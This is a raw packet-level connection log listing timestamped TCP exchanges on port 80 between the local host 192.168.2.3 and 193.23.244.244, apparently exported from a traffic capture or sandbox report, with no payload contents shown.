Oct 24, 2022 11:09:03.729764938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729764938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729788065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729805946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729820013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729840040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729859114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.729871035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.729895115 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.754745007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754779100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754802942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754827976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754853010 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.754857063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754894018 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754920959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754955053 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.754956961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.754956961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.754983902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755008936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755018950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755034924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755059004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755062103 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755084991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755110025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755110979 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755135059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755153894 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755177021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755201101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755213976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755225897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755249977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755261898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.755275965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.755311012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.756800890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756833076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756863117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756886959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756911993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756922007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.756938934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756953001 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.756966114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756989956 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.756998062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757014036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757040024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757051945 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757059097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757081032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757106066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757121086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757129908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757147074 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757152081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757174969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757190943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757204056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757208109 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757224083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757230043 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757241964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757251978 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757261038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757278919 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757297039 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757297993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757317066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757334948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757344961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757353067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757359982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757370949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757389069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757402897 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757406950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757426977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.757426977 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.757481098 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782587051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782629967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782665014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782699108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782699108 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782733917 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782771111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782776117 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782807112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782826900 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782844067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782890081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782900095 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782927036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782963037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.782983065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.782999039 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783030987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783049107 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783066034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783102989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783127069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783133030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783164024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783185959 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783194065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783226967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783257961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783273935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783296108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783318043 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783333063 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783340931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783365965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783389091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783391953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783411980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783420086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783433914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783456087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783477068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783484936 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783499956 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783521891 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.783526897 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.783555984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784490108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784521103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784549952 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784579039 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784584045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784610033 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784611940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784642935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784672022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784694910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784702063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784744024 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784744978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784776926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784794092 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784806967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784837008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784853935 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784867048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784895897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784913063 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784926891 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784955025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.784967899 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.784986019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785024881 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785026073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785056114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785088062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785096884 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785120010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785149097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785165071 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785178900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785209894 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785218000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785238981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785268068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785279989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785298109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785326958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785339117 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785356045 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785384893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785393000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785413980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785443068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785453081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785471916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785501003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785511017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785530090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785557985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785567045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785588026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785615921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785625935 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785645008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785675049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785685062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785705090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785733938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785747051 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785763025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785790920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785813093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.785820007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.785860062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.810986996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811079025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811132908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811139107 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811176062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811219931 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811261892 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811286926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811345100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811413050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811448097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811460972 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811481953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811536074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811575890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811585903 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811618090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811660051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811665058 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811702013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811745882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811745882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811789036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811829090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811830997 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811872005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811912060 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.811913013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811954021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811995029 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.811997890 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812036037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812079906 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812081099 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812124014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812165022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812166929 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812230110 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812271118 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812273979 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812314987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812355995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812359095 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812397003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812438965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812442064 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812482119 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812524080 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812524080 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812566996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812608004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812609911 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812649012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812690020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812693119 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812731981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812773943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812772989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812819004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812860012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812860012 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812903881 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812944889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.812949896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.812985897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813075066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813079119 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813118935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813159943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813170910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813201904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813245058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813256025 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813287020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813329935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813333988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813370943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813412905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813432932 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813455105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813500881 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813514948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813591957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813636065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813673973 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813678026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813723087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813747883 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813793898 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813844919 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813848019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813890934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813946009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.813957930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.813990116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814032078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814043045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814074993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814119101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814121962 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814162016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814203978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814207077 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814246893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814290047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814292908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814332008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814364910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814383984 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814395905 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814403057 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814421892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814430952 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814443111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814461946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814471006 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814482927 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814501047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814511061 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814534903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814555883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814558029 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814575911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814594984 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814600945 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814615011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814634085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814636946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814654112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814671993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814682961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814690113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814709902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.814714909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.814728975 CEST	80	49701	193.23.244.244	192.168.2.3
